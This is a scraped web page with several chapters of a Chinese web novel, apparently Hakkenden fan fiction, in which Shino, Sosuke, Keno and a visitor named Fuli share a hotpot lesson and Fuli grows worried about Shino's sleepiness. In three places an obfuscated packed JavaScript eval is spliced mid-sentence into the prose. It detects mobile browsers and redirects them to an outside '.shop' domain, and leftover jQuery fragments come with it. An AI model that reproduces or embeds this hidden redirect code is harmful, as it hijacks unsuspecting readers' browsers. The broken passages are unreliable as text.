扶黎走到近前,抬手让两人在旅馆前厅的沙发上先坐,随后自己也跟着坐下,店员热情地送来热茶和小巧茶点,价格贵附带着服务也很好。 扶黎抿了一口茶,抬眼:“大晚上的过来是有什么重要的事情吗?” 庄介拍了下吃点心不说话的信乃:“不是什么大事,只是前几天说好的教习厨艺,想问您什么时候有空。” “啊,这件事啊。”扶黎搁下茶杯想了想,灿笑道:“这边随时有空,你们定下地点就好哦~~” 纤长的手指轻点桌面:“不过有一点要提前告诉你们,到时候负责教学的是跟在我身边那两个小孩儿……对,不要惊讶,他们只是看着年纪小其实手艺比一般人要好很多。” 信乃张张嘴巴:“可是他们看着只有十岁的样子,锅铲都不一定能拿动吧?” “看人不能只看外表,而是内里。”扶黎的话显得意味深长:“这一点你应该比任何人都清楚才对。” 话音落下瞬间平静氛围被打破,对面少年的眼神立刻警惕起来,仿佛一只背部弓起奓毛的猫,随时准备上来给一爪子。 就在这样有些紧张的气氛下,庄介的手忽然温柔搭地上信乃的肩,安抚般轻轻拍了拍,看向扶黎的眼神温和而坚定:“虽然不知道您突然说这样的话是想表达什么,但我相信您应该没有恶意,只是在陈述事实而已,不然不会特意将叶月送回来帮我们这么大的忙。” “你怎么知道将天狗送回去不是为了博取你们的信任。”扶黎对此不置可否:“说不定我早就知道天狗的身份,所有举动只是计划的一环,目的是潜伏道你们身边。” 庄介从容道:“那我们更应该感谢您,只是为了一个或许并没有用的潜伏就将仁苦苦寻找的亲人送了回来,毕竟除了本身的特殊经历外,我们本身并不具备需要深挖的价值,身份在特殊人士中也属于公开的秘密,不知道谁想不开才会选择潜伏到我们身边,还很容易被信乃使唤到团团转,实在是笔不划算的买卖。” 刚刚还在警惕的信乃一听庄介又在污蔑自己立刻不干了,张牙舞爪:“你说什么,我什么时候使唤别人了?!都是他们给我添麻烦好吗!” 庄介不答反问:“我还要问你刚才怎么反应那么大,现在精气神又回来了?” 信乃本来就是偏大大咧咧的性格,遇事也是天不怕地不怕,从不忌讳自己的身份,他从心底认为自己没什么可暴露的,因此刚才那么大反应才让庄介不解。 信乃一时语塞,总不能说其实他自己也不知道,就是忽然感觉有点寒毛直竖,但又不是那种危险的感觉,于是他打了个哈哈敷衍道:“可能是最近太累了,稍微有点风吹草动就会一惊一乍,之后多休息补回来来就行。” 庄介不知道有没有相信,只是静静的看了他一眼,让信乃有些心虚。 不过很快他就振作起来,若无其事般又重复了一遍:“回去多休息休息就行,你别担心,对了刚才不是还在谈事情,继续啊。” 庄介拍了拍他的脑袋,让他安分坐着,信乃将手挪开嫌弃自己发型被弄乱了。 庄介从衣兜里掏出随身带着的纸笔,写下时间和地址折好后递给扶黎:“那就约好在这个时间,欢迎到时候来做客。” 打开纸条看了一眼,是个很熟悉的地址,扶黎抬眼笑道:“这个地方都去过好几次了,直接告诉我地址不就好了,不用特意写下来。” 庄介顿了一下解释道:“这是我的习惯,因为身边有个不拘小节的人在,所以总是忍不住什么都仔细一些,都忘了您应该不是那种粗心马虎的人了。” 扶黎默默回想了下自己平日里的行为:嗯,确实不是个马虎的,只是有点懒而已。 定下时间地点后,庄介起身准备告别,扶黎看了眼窗外拦道:“外面还在下雨,估摸着一时半会儿停不下来,你们着急回去吗?” 庄介:“着急是不着急,但要是下一夜雨,我们也不能一直留在这儿。” 窗外大雨瓢泼,豆大的雨滴打在窗上,留下道道蜿蜒水痕,模糊了窗外的的光景。 这场大雨显然愈演愈烈,并未如他们期望的那般很快停止,如此大的雨就算是有伞也会被淋湿一点,更何况旅馆里能借到的伞都比较小,扶黎见他们非回去不可,只得道:“我那边有大一点的伞,借给你们,旅馆的伞撑回去身上一定会全湿。” 说完,扶黎转身回去拿伞,他拿回来的伞果真非常的大,基本上装下两个人绰绰有余,三个人都没有问题,以至于庄介刚瞧见时愣了下,开始怀疑这是从哪里拆下来的店铺专用遮阳伞。 不过这伞远不如店铺用的遮阳伞那么重,甚至有点轻了,但材质又很牢固,回家的路上遇到一次大风,伞坚强地撑住了没有被掀翻,到家时除了不可避免的裤脚湿了一点,其它地方竟然安然无恙。 信乃不待庄介收拢雨伞便急急跑进屋去,风雨里跑这么一程实在是难熬,现在只想到屋里暖和暖和。 深夜的大宅安静又昏暗,信乃跑上楼开了房里的灯,刚躺到床上没一会儿庄介就也上来了,见信乃没换洗就趴在床上,赶紧催促人先去洗个澡暖暖身子。 信乃不乐意地翻身,在床上使劲儿滚了几圈:“你先去洗,我再赖一会儿。” 庄介弯腰摸了摸他的额头,蹙眉:“没发烧啊。” “你好烦。”信乃挥开他的手:“我只是有点犯懒,身上没有哪里不舒服,你先去啦。” 庄介拿他没办法,只得自己先去洗漱换衣。 雨滴落在窗上,“滴滴答答”仿佛催眠曲,本就有些累的信乃在这催眠声中渐渐睡了过去,再醒来时一睁眼看到就是坐在床边的庄介弯腰凑到他脸旁,关切问道:“信乃你醒了吗,快去洗漱后再睡。” 信乃迷迷糊糊爬起来,嗯嗯啊啊地答应了,并未注意庄介看着他的背影目含隐忧。 一夜过去,信乃睡了个好觉,足足睡了九个半小时,虽然半夜好像有做梦,但不影响他觉得现在精神还好。 楼下传来隐隐约约的说话声,间或夹杂几只小狐狸嬉戏的动静。 啊,他们在吃早饭——信乃心里不由这么想到,感觉下一秒庄介就会推门而入。 信乃掀开被子坐起身,冰凉的空气迅速贴上薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128076|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄的睡衣,让他打了个寒颤,昨天一场大雨过后,气温来了个大跳水,薄睡衣已经不太适合现在的天气,再过些时日这座大宅也会生起壁炉取暖。 床边摆着一套叠好的衣裤,信乃迟疑的翻看了下,都是比现在更厚些的衣服,应该是庄介起床后发现气温下降特意给他找出来的。 虽然很不爽庄介又把他当小孩儿对待,但最后还是乖乖将衣服套上了。 楼梯上铺了地毯,信乃趿拉着拖鞋慢吞吞走下去,每踩一下都感觉脚底在微微下陷,在这种微微的的不清醒中,他顺着食物的香气往客厅走去。 而另一边庄介正在分餐,不过一转身就瞧见了门边的信乃,诧异一瞬便放下手头的餐刀把面包堆进盘子里,又拿了瓶果酱一起端到餐桌,这才招呼道:“站那儿干吗,赶紧过来吃饭,没忘记今天还有事情要做吧。” 信乃走过去在桌边坐下,今天的早餐很简单只有面包和果酱,吃起来干巴巴的,他不满地嘟了嘟嘴问道:“今天怎么吃面包啊,好不习惯。” 庄介没理他的碎碎念,只道:“厨房被滨路占领了,她用新学的草药知识熬了一锅养生粥,你想试试吗?” 脑袋仿佛生了锈的机器一点一点“咔吧咔吧”转向滨路的方向,紫色头发的少女朝他露出一个甜美的微笑,但信乃却如遭雷击。 “信乃要来一碗吗,对身体很好哦~~”滨路双手交叉支着下颌,脸上表情无比真挚。 信乃却无法关注这些,他的注意力全部集中在滨路面前那碗不明物体上——到底是怎么样的厨艺才会熬出跟女巫的魔药一样黑乎乎的养生粥,这养生粥真的养生吗?喝下去不会立刻毒发身亡吧?到底加了什么东西? 无意识地咽了口口水,信乃干笑着拒绝:“不、不用了,我的身体很好不用进补,吃面包就好。” 滨路一脸遗憾:“是吗,亏我还煮了不少。” 信乃扯出一个僵硬的微笑:“是啊,很可惜,要不邀请绫音过来吃怎么样?她的身体很弱,一定需要像你这样的营养师调理,这个粥对她的身体也好。” 信乃:对不起了绫音,虽然很难吃但按照以往经验是不会毒死人的,而且滨路很照顾你,拒绝的话会比我们容易得多,祝你好运。 庄介:“………………” 滨路苦恼的思索了一番:“绫音吗?她的身体是很弱,但我做的食物药性很强,是不是得适当减低点药草的含量,不然对绫音的刺激太大了,容易虚不受补……” 信乃:减吧减吧,最好能把那味道也减减,变得可以下咽。 成功推拒了危险的用餐邀请,信乃刚刚松口气,滨路像是忽然想起什么般转头问起:“今天你们有什么事去做的吗,星期天应该休息的吧,难道是该死的教会压榨你们!” “不不不。”信乃连忙否认:“是私事啦,过会儿要去古那屋那边,我们约好了借那儿的场地跟别人学做菜。” 滨路:“做菜?你要学做菜?”她看了眼外面的天:“太阳也没有从西边升起啊?” 信乃感觉到强烈的“羞辱”,连早饭都不吃了:“你自己不也做的不咋样吗,再说了这个学做菜只是去学菜谱而已,到时候真正做的会是别人,你要是想吃的话就对我好一点!” 说完不等滨路做出反应就先跑了出去,刚刚说了滨路的坏话,以滨路的坏脾气一定会火冒三丈,他一个男的又不好跟女孩子计较,每次这种情况只会处在下风,不如说完就跑,过个嘴瘾。 19. 第 19 章 由于信乃提前跑出门,以至于到达古那屋时店里才刚刚开门,古那屋的老板娘都惊到了,但因为要做开店的准备所以没有时间招待他,索性他已经是古那屋的常客,一个人去后院也能待住。 初冬时节,院子里待着不比春秋舒适,信乃只坐了一会儿就被冻得脸疼,只好把藤椅搬到门檐下,风在外面肆虐,阳光从檐下露出些许,照在身上暖洋洋的。 像是个废人一样在这儿躺着,暖和的阳光晒得他昏昏欲睡,不知道过去了多久,直到眼前一暗,没有阳光后那种暖呼呼的感觉很快退去。 庄介站在廊下,俯身去推摇椅里睡着的信乃。 信乃睁开迷蒙睡眼,半闭半睁的弧度显得很是困倦,虽然眼睛已经睁开眼神却无法聚焦,只是静静地看着面前不知道哪里,仿佛一具美丽的人偶。 庄介伸手在他眼前晃了晃,信乃挣扎着从困顿中清醒,他使劲眨了眨眼睛,撑着扶手坐起来,不知道是不是最近睡得有点多,脑袋有种睡过头的昏沉感,感觉晕乎乎。 庄介在信乃额头上用手搭了一下,温度很正常,联想到信乃一如既往的好胃口,确实没有任何生病征兆,这让庄介百思不得其解。 “真的没有不舒服的地方吗?哪怕只是哪里有点痛,或者觉得容易累?” 信乃已经清醒过来,听到庄介这么问,他动动胳膊动动腿认真感受了一番,最后还是摇头:“没有什么特别的,身体和平常一样,但最近确实入睡非常快,平时要十几分钟这几天一沾枕头就能睡着,这难道不是睡眠质量提高了吗?” 庄介皱眉,不放心道:“听起来是睡眠质量提高了,不过也有可能是嗜睡,之后最好去看下医生。” 信乃下意识要开口反驳,年少时拜虚弱的身体所赐看病吃药都是家常便饭,以至于哪怕已经过去好多年,他还是对这件事留有阴影。 然而转眼看到庄介面上难以掩饰的担忧,信乃默默将到口的话咽回去,尽量自然地点头道:“好好好,我会去的,你不用担心。” 这次有庄介在信乃好歹没有睡着,又过了一会儿毛野也过来了,大概是最近这个时节找乐团的人不多,毛野闲得不行,吃饭睡觉都在古那屋解决,信乃每次来都能看见他。 今天也一样,毛野睡到日上三竿才醒,手里端着碗汤边走边喝,已经是快到吃午饭的时候了,他才开始吃早餐。 喝完最后一口,毛野将碗放回桌上,碗底和石桌相碰发出清脆的磕碰声。 信乃伸脚踢踢他:“吃完把碗送回去,不要留在这儿。” 毛野不为所动:“等会儿就送,刚吃饱让我歇一会儿。” 信乃朝天翻了个白眼:就怕你歇着歇着给忘了,幸好现在是冬天,夏天的时候碗里差点没生蛆。 庄介想过来帮忙收拾一下,信乃非不让,表示谁的事让谁干,他们又没发你工资就将人推走了。 毛野不想掺和他们之间的争辩,轻啧一声端着碗走了,不过因为没事做,送完碗最后还是返回了后院。 冬天的小院除了几株坚强的常青植物,其它的全部变得光秃秃,小池塘的水草也枯萎在池底,院中一派萧条景象。 看着是个清冷大美人,但实在耐不住清闲的毛野感觉自己要生草,忍不住向后靠仰头望天叹了一句:“什么时候能来个事儿啊,我都要发霉了!” 信乃瞥他一眼:“快发霉了就出去晒晒,成天窝在家里长霉也不奇怪。” 毛野搓搓脑袋:“谁不知道要出去,但去哪里呢?我在帝都待得时间也不算短了,该去的地方都已经去过,再去的话果然得找个人一起才有意思,可是乐团的成员都不愿意跟我出去,嫌我一个男的抢她们风头。” 在帝都毛野熟悉的人本来就不多,除去乐团的人之外,只剩下信乃、庄介、现八还有小文吾这几个了,但信乃庄介几乎整天黏在一起,现八在军队里还有工作,小文吾倒是除了在古那屋帮工外的时间都很闲,但说到底他就不是很想跟这群人一起出去,就这么挑挑拣拣,于是到现在也没找到合适的逛街搭子。 对此信乃的评价是:事多矫情。 但多亏了他今天心情很好,没有直接把这个评价说出口,顺利避免了一场小小的争吵,甚至好心地邀请毛野今天中午和他们一起吃午饭。 当然就算不邀请,闻到味儿了毛野也会自己强行加入。 毛野露出努力思考的表情,下一秒恍然大悟般一锤掌心:“是上次说的那件事啊,今天就要来了吗?” 信乃点点头:“嗯嗯,我们约好了中午到这儿,借这里的小厨房一用,算算时间差不多再过半个小时就要到了。” “嗯~~”毛野瞥他一眼:“你倒是挺信任对方,不怕对方有所图谋吗?” 信乃无语:“拜托,你怎么也开始阴谋论了,我身边有什么事值得这么大动干戈的,还不如直接抢来的更快一点。” 毛野对此无言以对,最无言的是,他回忆过过往后发现信乃说的是事实,于是只好无奈地耸耸肩。 “行吧,是我想太多了。”毛野放弃了这个话题,不知忽然想到了什么,突然问道:“最近完全没有那个女人的消息吗?” “哪个……啊,那个女人啊。”信乃向后靠在了椅背上,一摊手:“最近那边安静的出奇,像是从没发生过那些事一般,我在想这会不会是暴风雨前的宁静呢?” 从上次得到玉梓姬相关的消息已经过了三个月,这三个月以来除了上次接到的城外异常事件——最后也发现和玉梓姬基本毫无关系,就没有过其它的事情,信乃已经习惯了之前时不时出次事的频率,猛地闲下来还怪不习惯的,当然更担心对方暗搓搓憋了个大的。 但敌在暗我在明,就算再怎么担心,对方不出招这边就无计可施,想了一会儿想得他脑袋都疼,信乃甩甩脑袋索性抛之脑后,决定兵来将挡水来土掩。 临近中午十二点,扶黎他们姗姗来迟,没有从正门进,大厅的客人正多,进去也不方便,便跟上次一样用的后面的小门。 院子里的人和上次大差不差,倒是没有重新介绍的必要,只是阿福跟阿年两个有点认生,一人一边抓着扶黎的衣角,躲在他身后探出脑袋好奇地在院子里左看右看。 扶黎两只手按在他们脑袋上使劲揉了揉,把头发揉成了凌乱的一团:“这么害羞干什么,又不是没见过,里面好几个都是见过的吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128077|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?嗯?” 虽然有点不好意思,但在扶黎的鼓励下,两只小妖还是鼓起勇气站到前面。 他们属于慢热型,一旦处熟了比谁都能聊,这不刚去厨房转了一圈,再出来时已经跟信乃他们聊上了。 扶黎靠在门边一言不发,沉默地看着两只小妖怪渐渐活泛起来,渐渐变成了场中的小小“交际花”。 阿福抡着勺子:“油呢?油在哪里?来多一点。” 阿年操着刀,以不符合外貌的凌厉刀法快速切着菜,刀锋几乎切出残影来,每一次刀锋的落下案板上便会多出几根粗细均匀的萝卜丝,不多时便切出了一盘。 阿年切完这一盘还不够,又从旁边的篮子里拿了一大片叠好的百叶开始切丝,而信乃在一旁目瞪口呆的看着,边怀疑自己是不是眼花,不然怎么会看到一个比自己还矮还小的孩子变成了大厨。 阿年才不管别人惊不惊讶,他今天可忙着呢,平时只要管三张嘴的饭,今天要管好多张嘴,更何况少了阿福这个得力助手。 大灶边烟火缭绕,阿福绷着一张小脸,认真地挥舞着锅铲,仿佛在执行什么重要任务,心里可能在想:必定要教会他们,决不能丢主人的脸! 信乃原本守在锅边记录步骤,结果记着记着信心大减,这是什么魔药的炼制过程吗?为什么要加这么多料?刚才加的是什么?再被辣椒下锅后的辣味熏一熏顿时咳得惊天动地,遂迅速呼唤庄介补位。 出师未捷身先死,虽然很想就此摆烂,但在毛野鄙视的目光下,信乃咬咬牙坚持待在了厨房,改成帮阿年递东西洗蔬菜。 庄介倒是岿然不动,明明辣椒炒过之后的味道那么呛,他却像没事人一样面无表情,说到这个炒菜的厨师更是无敌,锅里的热气都扑脸上了也没见人家咳一声。 反之,虽然信乃自我感觉在帮忙,却并不知道阿年正在心理默默吐槽:拿个菜还一颗一颗的拿,照这个速度不知道什么时候才能切出一盘来。 于是除了信乃递过来的,自己又会再去抓一大把回来,拾掇拾掇“咔咔”一通狂切。 信乃:不知道为什么,这个递菜的活儿感觉白干了,有我没我都一样。 毛野旁观片刻,扬声对另一边的庄介玩笑道:“明明是在乡下小教会长大的,你怎么把他养成了这样十指不沾阳春水的小少爷,只会帮倒忙啊,人家小厨师没有他说不定还能再快一些。” 庄介无奈地笑笑:“当时是对他有些过度保护,早知如此,不该什么事都替他办好。” 毛野哼笑一声,不怎么信地看了他一眼:现在知道了不还是一如既往吗,连穿什么吃什么都得管,什么时候才能放手?怕是这辈子都看不到了吧。 庄介微笑:这就不劳您费心了。 信乃可不知道他们间的眉眼官司,只感觉自己有被侮辱到,顿时气到变形,双手插腰怒吼道:“那边两个不要再聊天了,赶紧给我干活!” 接着对毛野怒目而视:“还有你这个吃白饭的,不干活就给我到外面去,别在这里指指点点!” 毛野装模作样掏耳朵:“声音小点儿,我站这儿能听见。” 信乃:“…………你给我走!” 20. 第 20 章 一顿饭在鸡飞狗跳中进行,厨房里时不时就能听到信乃大呼小叫和庄介冷静稳重的劝解声。 扶黎早在开始没多久就离开了这个“是非之地”,院子里暂时没人用的躺椅被他私自征用,虽然天气开始冷了,但多亏了他有个还算抗寒的身体依然待得很舒服。 只有一点不好,院子里香气浓烈缭绕不散,勾的他本不是很饿的肚子差点叫起来,这是彻底不能好好闭目养神了,只能睁着眼睛看着天发呆,百无聊赖放空自己神游天外。 毛野似乎对扶黎有些兴趣,默不作声就坐到了扶黎一旁,率先开启话题:“天气渐冷的缘故,最近到帝都旅行的人都不是很多,您是从哪里过来的,这一路还顺利吗?” “啊?”扶黎还在神游中,猛地有人跟他说话,脑子反应了一瞬才回转过来,他坐起身看向身旁的年轻人,对方面色温和仿佛,扶黎知道这是还不放心自己,想要试探他。 对此扶黎并不讨厌,换成自己也会要弄清对方的身份目的,保证身边绝对安全,但很可惜受制于世界不同,扶黎无法和盘托出,出口的话只能随便编编,还不能说的太具体容易露馅:“老家离这儿挺远的,不过我们最近几年都住在离帝都坐火车两三个小时车程的村子里,在山上建了座房子,虽然住着很惬意但到底不太方便,所以最近搬到了离帝都很近的地方。” 毛野理解地点点头,又问:“为什么不干脆搬进帝都?” 扶黎端起一旁的茶水抿了口,笑着摇摇头:“房子好找,只要有钱就行,但合适的就没那么容易了,帝都毕竟寸土寸金又不能往太高了建,所以房子的格局都比较局促,而我们想要个大点带院子的,多种情况考虑下不如住在城外,地方大价格又便宜,还能有空地种种菜,说起来这边的后院也不错,就是不能种菜有点美中不足。” 种、种菜? 毛野眉毛抽了抽,不太理解这是什么特殊爱好,这个菜是非种不可吗?再想想好好的院子被翻成菜地的样子顿时眼前一黑。 虽然还想往深里探究探究,但仔细想想就算问了别人也未必会老老实实告诉你,与其得出不知真假的回答不如放弃。 就目前状况而言,对方不仅没有对他们造成妨碍,反而不自觉帮了好几个忙,因此也不好多说什么,说太多显得不识好歹。 放下刨根问底的念头后毛野感觉心头轻松不少,也有了心思开玩笑:“您带来的两个小家伙真是能干,看着小小一个,干起活儿来比这店里的厨师都利索,如果在这边开家餐馆生意一定会很红火,说不定能成为帝都排的上号的美食店。” “哈哈哈哈谢谢你的夸奖,不过现在说还太早,过会儿等你真正尝到了还是这样的评价话我会更高兴,当然如果不合你的口味,还希望嘴下留情,不要伤两个小家伙的心,否则他们可是要哭鼻子的。”扶黎笑得温柔,和天底下的父母看自己孩子一个神情,虽然阿福阿年并不是他的孩子,但也大差不差。 毛野自是应下,就算扶黎不说他也会这么做,别人能来做饭已经是求之不得,怎么能做出挑挑拣拣这么失礼的事,更何况光是闻这股味道就知道不可能不好吃。 听到自己孩子被夸,扶黎下一秒笑得更灿烂了,比自己被夸都开心:“至于开店暂时就不考虑了,他们还小,开店太累了会长不高,客人也不会放心店里的厨师是这么小的孩子,等他们再长大些,到时候如果对开店感兴趣的话,我就给他们盘下一间店来试试手。” 这话听得毛野只直咂舌,真是宠孩子,店面说盘就盘一点压力没有的样子。 几句话的功夫而已,院子里的饭菜香味却是越来越浓,两人顿时无心交谈,眼神开始若有若无地往一边的厨房乱飘。 正在这时,庄介端着一个大锅从厨房走了出来,然后将其放到石桌上,提着水壶的信乃则紧随其后将滚烫的汤水倒入其中。 奇怪的是汤水落入其中后并未迅速铺满整个锅底,而是聚集在了其中一侧,再仔细一看才发现铜锅正中间嵌了一块薄薄的金属片,将整个铜锅从中一分为二。 毛野正疑惑这锅怎么做成这么奇怪的样式,就见那个叫阿福的小厨师也提着个水壶从厨房走了出来,到石桌边后他看了看石桌的高度,又苦恼地的看了看自己的身高,站在桌边只能勉强露出个头的他显然无法只凭借身体力量就将汤底倒进去。 一旁庄介发觉了他的窘迫,立刻弯下身来轻声道:“给我吧我来倒。” 阿福盯着他看了好几眼,这才慢吞吞将水壶递过去,庄介一时不甚在接过来时被重量压了一下,顿时吃惊于这壶竟然是满的,以至于他刚开始没能使对劲儿。 奶白浓稠的汤水被倒入另一半锅中,两边都蒸腾着热气,锅内一白一红颜色对比鲜明。 这次本来是只想教一下辣锅的底料熬制方法,但考虑过到时正好是午饭时间,少不得直接将炒好的底料拿来吃火锅,那样的话最好准备两个锅底,一个辣的一个不辣的,吃不了辣的可以用清汤缓一缓。 院中的石桌上不像店里配了点炭火的地方,余生庄介特意找老板娘要了材料自己简易做了一个,这样下面放烧红的碳上面架上锅,就能保证哪怕是寒凉的冬日也能提供源源不断的火力,让锅中的汤底一直处于微沸腾状态,不至于很快凉掉不能吃。 扶黎一看都准备好了也不客气,自己先拖了张椅子先抢占一个好位置,还招呼其他人赶紧坐下,一点不把自己当个外人,甚至有点变客为主的架势。 但他动作实在自然,其他人倒真的顺着他的意思各自找了位置坐下。 桌上摆着满满当当的新鲜食材,放不下的只能暂且先放到另一张石桌上。 在吃之前扶黎先舀了点清汤喝下去暖暖胃,几个感兴趣的也跟着舀了点儿,不过没舀太多,不然这锅汤都不够他们几个喝的。 信乃人菜瘾还大,明明前几天才被辣得“斯哈斯哈”,今天下筷子就往红锅去,然后被辣得比上次还厉害。 阿福见他辣得鼻头红红,一双眼睛笑成月牙:“今天现炒的锅底,加的辣椒比我们上次炒制的加的更多,你少吃一点。” 短暂的厨房相处似乎为他们结下了一点点友谊,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128078|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福都会主动搭话了。 “但是辣锅比较好吃啊!”信乃不开心:“清汤锅就跟炖的老母鸡汤一样,口味只稍微重了一点点,我要吃口重的。” 这就是仁者见仁智者见智了,有人口味清淡喜欢原汁原味,有人就喜欢下重料的,够辣够刺激。 但毫无疑问,最痛苦的肯定是爱吃辣却不能吃辣的人。 信乃要稍微好一些,他还是能吃辣的只是吃不得这么辣,于是吃得面目微微扭曲,吃一口往嘴里灌一口水,这样下去可能不是吃饱而是混了个水饱。 扶黎见状拍拍身边的阿福:“给锅里加点汤稀释一下吧,是有点太辣了,我们吃得别人吃不得。” 阿福乖乖点头正要从椅子上跳下去,一旁的庄介就先站了起来:“我去拿吧。” 阿福愣了愣,见庄介已经起身走远只好坐回去,待对方提着灌满热汤的水壶回来时连忙指导着他往里倒,倒太多的话味道就变了。 鲜红的汤底在白汤涌入后似乎确实变淡了一些,只是上头漂浮的红油依旧那么醒目。 信乃抱着怀疑的心态试了试,嗯,虽然还是很辣,但从吃一口喝一杯水进化成吃一口喝一口水,很难不说是个大进步。 信乃是个肉食动物,吃饭时专捡着肉往锅里放,只是放肉的是他捞到那块肉的就不一定是了。 看见毛野对着自己下进去的一块牛肉下筷,信乃连忙去挡:“喂,这是我下的,你不要抢!” “一盘肉都被你下进去了!要按你这么说,别人一块都别想吃。”毛野才不理他这套,两人举着筷子大打出手,饭桌上刀光剑影,闹得很不成样子,别人都吃不安生,最后被庄介训了一顿才勉强安静下来。 虽然中途出了一点点小意外,但总的来说是让人人满意的一顿,大冬天的信乃还是吃出一头汗,还要嘲笑不太能吃辣,只吃了几口就受不住转战清汤锅的毛野。 毛野翻了个白眼:“我这叫循序渐进,小心明天拉屎拉不出来。” 这个诅咒实在恶毒,信乃忍不住跳脚反唇相讥:“你少担心我 ,还是关心关心自己会不会半夜窜稀吧!” “这个就不劳你操心了,我吃的少。”毛野嗤之以鼻:“就是你窜稀我都不可能窜!” “哼,谁知道呢?” 两个年龄加起来不超过十岁的家伙,说起话来毫无遮拦,张口闭口都是五谷轮回之物,搞得扶黎胃口大失,刚吃下去的东西似乎也在肚子里蠢蠢欲动,他抬手揉了揉胃,在真吐出来之前连忙先行告辞:“忽然想起来有件事今天要处理一下,那我们就先走了,有事下次联系,还是老地方,我们还会在那边多住一段时间。” 说完不待对方挽留便匆匆往后门走去,光看那副仿佛身后有鬼在追的速度倒像是真的有很要紧的事处理。 信乃手刚刚抬起,三人已经从他的视野里消失,茫然地看看自己还举着手,信乃有点失落地喃喃道:“还没跟他们说声谢谢,怎么就走了,我还想跟阿福阿年他们再聊会儿呢。” 唯一看透一切的庄介:那就要问你们自己了。 21. 第 21 章 又过了几日,这座位置偏北的城市便彻底进入了冬季,寒风簌簌,刮卷着落叶打着旋儿飞起,整座城一片萧瑟。 街上行人稀少,偶尔看见几个也把自己裹得严严实实,全身上下只有眼睛露了出来,可见最近的天气有多冷。 扶黎他们最近一半时间住在城外,一半时间住在帝都内,多亏了还算有钱,每次进城都住半月馆这么昂贵的旅舍也并未对他的钱包造成什么负担。 不过从这几周完全没有任务目标消息的情况来看,他们还要在这个小世界耗上许久,综合考虑下来还是有个自己的房子比较好,到时事情结束不想再回来就把房子卖了,也不会怎么亏损。 可惜想的好,帝都可供出售的房子却不多,其中能符合要求的就更是少,几番看下来没一个能满足扶黎心意。 于是只能拜托本地房屋交易处的人帮他留意,有了新出售条件也比较好的房屋就通知他,看在扶黎付出的高佣金份上,对方可谓是有求必应殷勤的不得了,当然也有这边能卖的房子少,买得起的人更少的原因,在此之前只能继续住旅馆了。 冬日的旅馆为客人升起了壁炉提供取暖,然而这样严寒的天气里,哪怕有壁炉也不过是聊胜于无,唯有温泉还算可取,但也不能一直泡在水里啊。 阿福阿年刚开始在帝都还挺开心,这边逛逛那边买买,每天都东奔西跑玩得不亦乐乎,然而不太抗冻的他们这几天就有点想回去了,城外的屋子自带结界,冬暖夏凉,根本不用裹着被子待着屋子里瑟瑟发抖,其它什么都干不成。 扶黎看他们可怜兮兮的样子,连忙将人先送了回去,自己一个人待在帝都,偶尔出去逛街顺便看看能不能碰上意外的线索,但更多的时候还是去找主角团凑热闹。 今天也是如此,扶黎溜溜达达一路走过去,轻车熟路进了古那屋的后门——这边的后门已经基本成了他的专属通道。 后院空荡荡的,扶黎却是早有所料,自顾自进了店,四下环顾一圈果然在靠窗边的位置看到了熟悉的身影。 个子娇小的少年百无聊赖地趴着,手指拨弄着不知从哪里找来的铃铛,有一下没一下,活像只手欠的猫。 对面的青年则面容沉静,眼神专注地落在书页上,对铃铛声置若罔闻 另一位毛野就没那么注意力集中了,一本书翻来覆去也没看上几页,一瞧就不是个爱学习的主。 这不扶黎刚刚进来,第一个注意到的就是他,还顺势抬起手挥了两下。 扶黎走过去跟着坐下,先瞅瞅另外两个,再瞅瞅毛野好奇地问:“怎么一个个都这么安静,冬天太冷冻僵了吗?” 毛野摊开手耸了耸肩:“谁知道呢,应该说是信乃最近变安静了,庄介一向随着他,自然也安安静静,不过庄介本来也不是什么闹腾的性格。” 说着那边庄介放下手里的书,冲扶黎点头示意,下一秒又垂下眼一头重新扎进了书中。 而信乃似乎这会儿才注意到他的到来,转过脸冲扶黎张张嘴发出有气无力的声音:“好久不见。” 身体却依旧摊在桌上,一副困倦的完全爬不起来的样子。 扶黎本想调侃他两句,目光落在信乃脸上时瞬间却忽然定住,嘴角的弧度慢慢平了回去,扶黎的眼中已经毫无笑意,他一把将信乃薅起来,仔细对着他的脸色看。 信乃猛地被拔起,一时间人都清醒了许多,眼神略微懵逼:“怎、怎么了,我脸上有脏东西吗?” 说着他伸手去摸脸,还想着就算脸上有脏东西也不用这么大反应吧,拿下手一看,却是什么也没有…… 扶黎却没有回答他的问题,扶着他的肩膀神情严肃,开口便是问道:嗜睡的症状是从什么时候开始的?” 